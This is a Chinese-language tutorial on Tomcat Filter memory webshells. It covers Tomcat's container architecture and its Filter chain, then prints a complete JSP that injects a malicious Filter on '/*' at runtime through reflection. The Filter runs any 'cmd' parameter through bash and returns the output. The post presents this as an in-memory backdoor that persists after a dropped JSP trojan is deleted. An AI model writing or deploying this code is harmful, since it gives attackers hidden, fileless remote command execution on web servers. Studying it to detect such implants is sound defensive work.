前言
内存马作为内网入口点在实战中的意义非常大,之前实战中一般使用内存马作为jsp木马被删之后的保险之一, 这次来学习一下内存马的原理。
Tomcat架构
大概的一个层次结构是Engine、Host、Context、Wrapper。
1. Engine: 最顶层容器组件,其下可以包含多个Host,即可以包含一个或多个虚拟主机。它可以根据默认的Host来判断该由哪个虚拟主机处理。
2. Host: 一个Host代表一个虚拟主机。当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。
3. Context: 一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
4. Wrapper: 一个 Wrapper代表一个Servlet,负责管理一个Servlet的动作。因为是最底层容器,所以不能进行addChild。
从Tomcat的web目录来看,Webapps对应的就是Host组件,而examples和ROOT代表的是Context。
Filter与Servlet
Filter功能是在Servlet之前先接受请求对请求做一些检查以及处理,做一些处理后再交给下一个过滤器或servlet处理, 而先调用哪个Filter由Filter在web.xml文件中的注册顺序决定,这些Filter形成了一个链式过滤。Servlet在接收到请求后,根据代码逻辑进行控制返回的页面。
Servlet实例在服务器启动时就会被加载,之后调用init()方法进行初始化。 而接收请求的过程都只调用doGet()或者doPost()方法,在停止服务器时调用destroy()方法摧毁实例。
Filter也是在启动时加载其实例,调用init()来完成初始化。 接受请求时只调用doFilter()方法来处理,在停止服务器时调用destroy()方法摧毁实例。
所以要想实现内存马,可以在Filter链前动态注册一个Filter,优先处理对应路由与执行命令有关的请求。
Tomcat Filter拦截过程
url请求的总体过程是:
1. 根据请求的URL从FilterMaps中找出与之URL对应的Filter名称。
(在FilterMap中主要存放了FilterName和对应的URLPattern,也就是待拦截的url)
2. 根据步骤1中获取的Filter名称去FilterConfigs中寻找对应名称的FilterConfig。
(FilterConfigs存放filterConfig的数组,而FilterConfig中存放FilterDef和Filter对象等信息)
3. 找到对应的FilterConfig之后添加到FilterChain中,并且返回FilterChain。
(使用doFilter方法能依次调用链上的Filter)
4. filterChain中调用internalDoFilter遍历获取chain中的FilterConfig,然后从FilterConfig中获取Filter, 然后调用Filter的doFilter方法。
Tomcat添加Filter内存马过程
1. 获取standardContext上下文
2. 创建恶意的Filter
3. 使用filterDef封装Filter对象,将filterDef添加到filterDefs
(FilterDefs中存放FilterDef,FilterDef中存储着过滤器名和过滤器实例,作用的url等信息)
4. 创建filterMap,将URL和filter进行绑定,添加到filterMaps中
5. 使用ApplicationFilterConfig封装filterDef对象,添加到filterConfigs中
Tomcat利用jsp直接注入Filter内存马
这种内存马针对上传jsp直接注入(request和response是jsp的内置对象)的情况, 但在反序列化直接打内存马的时候不一定能直接拿到ServletContext(ServletContext实现其实是ApplicationContext), 需要先去获取request,并且为了让命令执行能够有回显,还需要拿到response。
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "exp";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 判断是否存在Filter名称,没有的话创建恶意的filter
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 将filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef);
// 绑定url
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
System.out.print("Inject Success !");
}
%>
There Is Nothing Below